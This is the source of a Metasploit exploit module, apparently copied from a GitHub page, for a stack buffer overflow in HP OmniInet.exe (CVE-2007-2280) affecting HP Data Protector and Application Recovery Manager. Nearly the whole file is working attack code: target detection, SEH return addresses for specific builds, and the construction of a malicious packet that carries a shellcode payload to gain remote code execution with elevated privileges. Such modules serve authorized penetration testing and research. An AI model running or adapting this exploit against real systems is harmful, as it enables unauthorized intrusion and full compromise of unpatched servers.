/
hp_omniinet_1.rb
208 lines (172 loc) · 5.46 KB
/
hp_omniinet_1.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'HP OmniInet.exe MSG_PROTOCOL Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in the Hewlett-Packard
OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)
packet, a remote attacker may be able to execute arbitrary code with elevated
privileges.
This service is installed with HP OpenView Data Protector, HP Application
Recovery Manager and potentially other products. This exploit has been tested
against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1
of Application Recovery Manager.
NOTE: There are actually two consecutive wcscpy() calls in the program (which
may be why ZDI considered them two separate issues). However, this module only
exploits the first one.
},
'Author' =>
[
'EgiX <n0b0d13s[at]gmail.com>',
'Fairuzan Roslan <riaf[at]mysec.org>',
'jduck'
],
'References' =>
[
[ 'CVE', '2007-2280' ],
[ 'BID', '37396' ],
[ 'OSVDB', '61206' ],
[ 'ZDI', '09-099' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 4658+66,
'BadChars' => "\x00", # (we don't want \x00\x00)
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic Targeting', { 'auto' => true } ],
# DP Targets
[ 'HP OpenView Storage Data Protector A.05.50: INET, internal build 330',
{
'Ret' => 0x004406cf # p/p/r - OmniInet.exe (v5.50.330.0)
}
],
[ 'HP OpenView Storage Data Protector A.06.00: INET, internal build 331',
{
'Ret' => 0x0044327d # p/p/r - OmniInet.exe (v6.0.331.0)
}
],
# APPRM Targets
[ 'HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81',
{
'Ret' => 0x004280ff # p/p/r - OmniInet.exe (v6.0.81.0)
}
],
[ 'HP Application Recovery Manager software A.06.10: INET, internal build 282',
{
'Ret' => 0x004412ed # p/p/r - OmniInet.exe (v6.0.282.0)
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2009-12-17'))
register_options([Opt::RPORT(5555)])
end
def check
connect
sock.put(rand_text_alpha_upper(64))
resp = sock.get_once(-1,5)
disconnect
if (resp)
resp = resp.unpack('v*').pack('C*')
print_status("Received response: " + resp)
# extract version
if (resp =~ /HP Data Protector/)
version = resp.split[3]
elsif (resp =~ /HP OpenView Storage Data Protector/)
version = resp.split[5]
elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
version = resp.split[5]
else
return Exploit::CheckCode::Detected
end
version = version.split('.')
major = version[1].to_i
minor = version[2].to_i
if ((major < 6) or (major == 6 and minor < 11))
return Exploit::CheckCode::Appears
end
if ((major > 6) or (major == 6 and minor >= 11))
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end
def exploit
mytarget = target
if (target['auto'])
mytarget = nil
print_status("Automatically detecting the target...")
connect
sock.put(rand_text_alpha_upper(64))
resp = sock.get_once(-1,5)
disconnect
if not resp
fail_with(Failure::Unknown, "No version response returned.")
end
resp = resp.unpack('v*').pack('C*')
print_status("Received response: " + resp)
self.targets.each do |t|
if (resp =~ /#{t.name}/) then
mytarget = t
break
end
end
if (not mytarget)
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
end
# separator between arguments
sep = [0x2000].pack('N')
# Unicode BOM
pkt = "\xff\xfe"
# MSG_PROTOCOL command
pkt << Rex::Text.to_unicode("267")
# dunno
3.times do
pkt << sep
pkt << rand_text_alpha_upper(2)
end
# culprit string
pkt << sep
# the payload + seh record
pkt << payload.encoded
pkt << generate_seh_record(mytarget.ret)
# jump back
dist = payload_space + 8
pkt << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + dist.to_s).encode_string
# force exception hitting the end of the stack
pkt << rand_text_alphanumeric(1000) * 25
# 5th arg
pkt << sep
pkt << rand_text_alpha_upper(2)
# end marker
pkt << sep
# packet length
buff = [pkt.length].pack('N')
buff << pkt
connect
print_status("Sending MSG_PROTOCOL packet...")
sock.put(buff)
handler
disconnect
end
end